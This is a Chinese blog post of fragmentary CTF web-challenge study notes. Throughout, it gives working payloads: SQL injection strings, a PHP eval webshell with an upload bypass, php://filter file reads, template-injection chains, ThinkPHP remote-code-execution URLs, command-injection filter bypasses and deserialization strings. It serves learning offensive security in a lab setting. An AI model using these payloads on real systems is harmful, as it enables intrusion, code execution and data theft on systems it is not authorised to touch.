webctf

tp1679 2024-10-02 10:33:00 阅读 76

熟悉robots.txt协议,可能存在一些敏感信息(sql在登录时候的万能密码a’ or true#)熟悉phps文件,phps文件就是 php 的源代码文件,通常用于提供给用户(访问者)查看 php 代码,因为用户无法直接通过 Web 浏览器看到 php 文件的来内容,所以需要用 phps 文件代替,直接在网站输入index.phps,得到一个网页,然后进行代码审计,url解码是%+字符的十六进制,$-GET会进行一次解码,所以要进行两次解码魔术函数,在执行反序列化时,会先调用wakeup(),当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup(),

可以构造urlhttp://111.198.29.45:30940?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

通过bp进行暴力破解,对于id的不同取值看返回包的长度禁用了右键查看源代码,可以使用f12查看源代码得到flag使用hackbar进行post请求参数的提交熟悉robots协议常用的备份文件 .git .svn .swp .svn .~ .bak .bash_history,如index.php.bak熟悉cookie如果禁用了f12,不能查看源代码,可以在浏览前地址栏前面输入view-source:可以通过检查更改前端的某些限制,从而进行绕过,或者进行代码审计使用burpsuite对密码进行爆破Php中的弱类型比较Web的头部字段也可能会包含flag基于get的sql注入,可以使用sqlmap,万能密码1’ or 1=1 --+也可以使用简单的sql注入语句可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。先新建.user.ini里面写入

GIF89a

auto_prepend_file=a.jpg

同时新建一个txt文档里面写入

GIF89a

<?=eval($_REQUEST[‘cmd’]);?> 然后修改后缀为a.jpg修改好以后先上传.user.ini文件

利用burp抓包,修改Content-Type类型为image/gif,这样就可以成功上传.user.ini文件,然后直接上传1.gif文件。输入f12选择网络,查看文件上传的存储地址

再使用蚁剑进行连接,密码为cmd,查找信息得到flag

主要是认识php伪协议

在cookie那里构建

language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag,直接进行访问flag.php可能会不成功。php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。

例如读取文件:php://filter/read=convert.base64-encode/resource=index.php读取上级目录文件:php://filter/read=convert.base64-encode/resource=…/…/…/a.txt读取其他的文件:php://filter/read=convert.base64-encode/resource=F:\b.txt

在hackbar上输

入?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

Post data:hello ctf=hello ctf,因为hackbar上只能以键值对的形式进行输入,然后在bp上修改,只保留hello ctf

data协议是写协议 filter协议是读协议

方式二:

主要还是代码审计部分,要熟悉很多的php函数

$c["n"][0]):取c中n数组的第一个值

由上可知可以构造

payload:?a=1e9&b=53724&c={ “m”:”2023c”;”n”:[[],0]}

熟悉php伪协议,有些关键字可能会被过滤掉(注意有些情况可以删除掉read)

构造payload:filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php

Convert用法有两种方式

convert.iconv.<input-encoding>.<output-encoding>

or

convert.iconv.<input-encoding>/<output-encoding>

<output-encoding> 的选择将会直接影响flag的显示形式

可以使用bp来进行爆破,选择集束炸弹,给两个位置添加密码本,已下载

Utf-8.utf-7

还是php的代码审计部分

Construct()在对象创建时被调用,destruct()在python脚本结束时被调用,wakeup方法在反序列化时被调用,tostring在对象被当作一个字符串使用时被调用

当某些关键字被过滤时,可以选择使用\,””如ls,l\s,l””s空格被过滤可以使用${IFS}

/被过滤可以使用$(printf${IFS}”\57”)绕过

function __destruct() {

    if (in_array($this->method, array("ping"))) {

        call_user_func_array(array($this, $this->method), $this->args);

    }

}在对象被摧毁时被调用,如果 $this->method 的值在指定的数组中(即 "ping"),那么 call_user_func_array() 将调用 $this->method 方法,并将 $this->args 作为参数传递给该方法。

Php中新建一个对象:$a = new ease(‘ping’,array(‘ls’))

还有一个:如果题目给出的是先base64解码再进行反序列化,那么构造的payload需要先序列化再进行base64编码

如果cat某个文件没有得到回显,可能这是个目录

直接通过sqlmap得到flag,

python sqlmap.py "http://61.147.171.105:65374/" --data="search=1" -D news -T secret_table -C fl14g --dump

先上传一张木马图片,然后抓包,将图片其改成php后缀,而不是改成content-type,前端页面直接给出了文件的存储地址,使用蚁剑进行连接,记着点添加,而不是测试连接

熟悉xff和referer命令注入漏洞使用&进行命令拼接

127.0.0.1;ls:  ;表示顺序执行,命令之间顺序关系没有

127.0.0.1 && find / -name “flag.*”

127.0.0.1 && ls /:列出根目录下的所有文件

空格如果被过滤

给出了加密算法写出解密算法主要是python的模板注入

模板注入可以先进行进行测试:/{ {7*7}},如果页面回传显示里面的公式被执行了,那么就说明了存在模板注入

查找有无可执行os的类,使用python脚本(71是通过python脚本找出来的索引)

找到后列出目录

{ {''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

查看文件

读取文件

{ {''.__class__.__mro__[2].__subclasses__()[40]('index.py').read()}}

Php反序列化漏洞,要对其进行base64加密

这个是题目

这个是解法

当输入?

var=’TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=='

会先进行base64解码,然后进行正则匹配,通过后对其反序列化,发现属性值的个数大于真正的属性值个数,因此会跳过wakeup函数,当对象销毁后,执行destruct函数,

主要是thinkphp漏洞

构造payload:php_rce

http://111.198.29.45:46140/index.php?s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=var_dump&vars[1][]=111(var_dump打印变量的相关信息)

s=index/\think\Request/input&data=phpinfo()&filter=assert:打印phpinfo()

php_rce

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir:打印目录

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag":查找flag

s=index/think\App/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

构造payload,使用文件包含

Show-source(_FILE_):显示当前php文件的源代码,即使客户端可以看到完整的代码

使用了strstr函数检测$page变量中是否包含字符串php://,如果有则将其替换为空字符串

虽然过滤了php://input,但是可以使用下面的payload进行绕过

?page=data://text/plain,<?php system("ls");?>

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php");?>

通过堆叠注入进行

发现使用--+,会报错,使用#不会报错,使用单引号会报错,并且使用联合查询过滤了某些关键字

此时可以尝试使用堆叠注入

显示数据库:1’;show databases;#

查表:;show tables from supersqli;#

分别查询两个表的字段(表名要加上反引号):

; show columns from `1919810931114514` ;#

; show columns from `words` ;#

查看flag:1’ or 1=1 #

方法二.

';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

方法三:handler `1919810931114514` open as `a`;handler `a` read next;

Php代码审计后得到答案,打开网页是一张图片,检查源代码发现有source.php,打开source.php

mb_strpos($page . '?', '?'):

表示查找 $page 字符串中第一个出现 ? 的位置。

通过在 $page 后面拼接一个 '?' 字符(即 $page . '?'),如果 $page 本身不包含 ?,mb_strpos 会返回整个字符串的长度

mb_substr($page, 0, ...) 表示从 $page 字符串的开头(索引 0)开始提取一部分内容。

这个真不会catcatnew,本题主要用到了git泄露

使用dirsearch进行目录爆破(在python312这个目录下输入cmd)

Python dirsearch.py -u http:xxx/xxxx

使用githack.py进行git泄露(在python27这个目录下输入cmd)

Python GitHack.py http://xxx/.git/

打开本地,发现所有的文件

打开api.php文件发现,里面有一段是抽奖的代码,主要是通过输入的数据和这里的随机数

进行比较,看相等的数字,中的钱就越大,应用了弱比较==,这里没有进行任何过滤,可

以用true绕过

requests是json格式的比较彩票数字与用户数字采用==弱比较

而且是一位一位的比较的由于 json 支持布尔型数据,那么就可以构造一串数组

[true,true,true,true,true,true,true]传入了

首先检查源代码,发现了一个index.php,但是只显示了ok,使用php://filter读取index.php里面的内容

?page=php://filter/read=convert.base64-encode/resource=index.php

出现了一段base64编码解码后发现了一个关键部分

可以先抓包,加入x-forwarded-for:127.0.0.1

preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行

不要page参数了,添加X-Forwarded-For:127.0.0.1,页面出现welcome my admin!因此,可以构造payload

/index.php?pat=/abc/e&rep=system("ls")&sub=asdsadasabc

35.首先,观察网页及源代码,可以得到一些信息该网站是用git托管源码,以及用PHP编写

并且有一个flag文件(猜测后缀为.PHP),使用githack进行破解

用kali打开下载后的文档,发现当中有一个叫做flag的文档,但是查看以后发现什么都没有,应该是需要经过游览器特定的转换才能够看到这个文件

这个代码是核心部分,可以构造payload进行绕过, 由于之前git漏洞下载对文件,我们已经知道了flag位于/templates/flag.php路径下,所以payload的构建可以直接一步到位,不用再用system('ls+xxx')回显路径,最后的payload

/?page=').system('cat+./templates/flag.php');// 

当进行这样的构造时

36.从这个标题来看,考的点应该是跟JavaScript有关的,肯定一进去必须要打开F12,因为html css JavaScript都是跟网页有关的

37.

发现msg是可以进行更改的,那么我们进行ttsi模板注入检测,并没有发现可以使用的

(使用tplmap)

tqlmap用法

在Tornado里,应用的设置可以通过handler.settings访问。拿到cookie

打开是一段源代码

可以构造payload

{ {url_for.__globals__['current_app'].config}}

首先进行注册和登录,发现只有那个no参数有点可疑

之后猜解字段数,输入一个不存在的编号2

不用load_file,继续注入下去。现在已经拿到了数据库名:fakebook,接下来拿表名:

view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

打开网页,发现下面有一行提示,你不是内部用户

直接尝试在用户名密码处进行注入点测试,发现用单引号,双引号,括号都没有反应,右键查看源码,发现use.php注释

编写payload脚本,实现内部访问:

substr((SELECT flag from flag),30,32):表示从flag字段的值中,从第30个字符开始,截取长度为32的子字符串。

41.

输入127.0.0.1,成功ping通,但是后面接上命令注入发现有些被过滤掉了

此时发现url处存在编码

Url=%80

构造payload:?url=@/opt/api/database.sqlite3

找到flag

42.

Payload:http://111.200.241.244:62326/register.php/{ {''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

43.flatscience,有点看不懂,贴上原有wp吧

(https://blog.csdn.net/hxhxhxhxx/article/details/107846000)

这题跟前面的题目差不太多,主要是iconv网站目录爆破,发现flag.html,直接访问http://61.147.171.105:63902/flag.html,发现进行了重定向,需要burp抓包才行

46.

编译运行即可得到flag

47.这题主要是javascript的原型污染

当勾选is admin,会要求推送一个邀请码,此时进行抓包

然后将其改成

即可得到flag

Bug(逻辑漏洞)

注意那个do=???,可能是会要求做一个动作,尝试几次后,将其改为upload

注意:直接改成php会被过滤,可以设置成php5

Png图片里的内容:

<script language=”php”>system(“ls”)</script>

查看源代码

Unfinish(有点没看懂https://www.cnblogs.com/zhengna/p/13595290.html)

使用awvs进行扫描,已下载,使用教程可以看

Awvs详细使用教程_awvs使用教程-CSDN博客

51.

52.

53.

之后构造payload:?url=file:///flag

54.

然后试着上传shell,上传后发现不能访问,审计源码

脚本使用条件竞争的脚本

先利用bp一直post那个文件

55.

Payload:

O:3:"SQL":4:{s:5:"table";s:41:"(select 'admin' username,'123'

password)a";s:8:"username";s:5:"admin";s:8:"password";s:3:"123";s:4:"conn";N;}}

56.

注意:这个是关键,就是说写入的这个captcha要满足上面的这个等式,直接用gpt

然后试着读取文件file:///etc/passwd

可以成功读取

但是没有办法读取file:///flag,猜测flag可能被过滤掉了,可以对flag进行url编码

编码之后

file:///%66%6c%61%67

i-got-id-200

Zhuanxv

使用dirsearch扫描发现隐藏目录list

python3 dirsearch.py -u http://220.249.52.133:43210/ -e *

抓包发现背景图片是从后台加载的一张图片

59.wtf.sh-150

打开题目很像一个论坛,随便打开一个页面试试看能不能注入

这里使用../而不是.../

点击进入admin的post,然后修改USERNAME=admin,TOKEN为admin的token

得到了flag的前半部分,后面的部分也是没怎么看懂,看这个吧(https://blog.csdn.net/hxhxhxhxx/article/details/108098586)

60.web_php_wrong_nginx_config

发现成功登陆了

进去瞎点一通,发现只有管理中心可以改变url

发现无论加多少../均不能,猜测是被过滤了

弹出了nginx的配置信息

后面的部分就是代码部分了,是真心看不懂

(https://blog.csdn.net/l8947943/article/details/122292321)

Comment

后面的部分也是很多没看懂,只能看看大神们的解题过程了

62后面的都挺难的 根本都看不懂了

SQL注入

Select *,1 from flag:将从名为 flag 的表中选择所有列,并为每一行添加一个值为 1 的额外列。



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。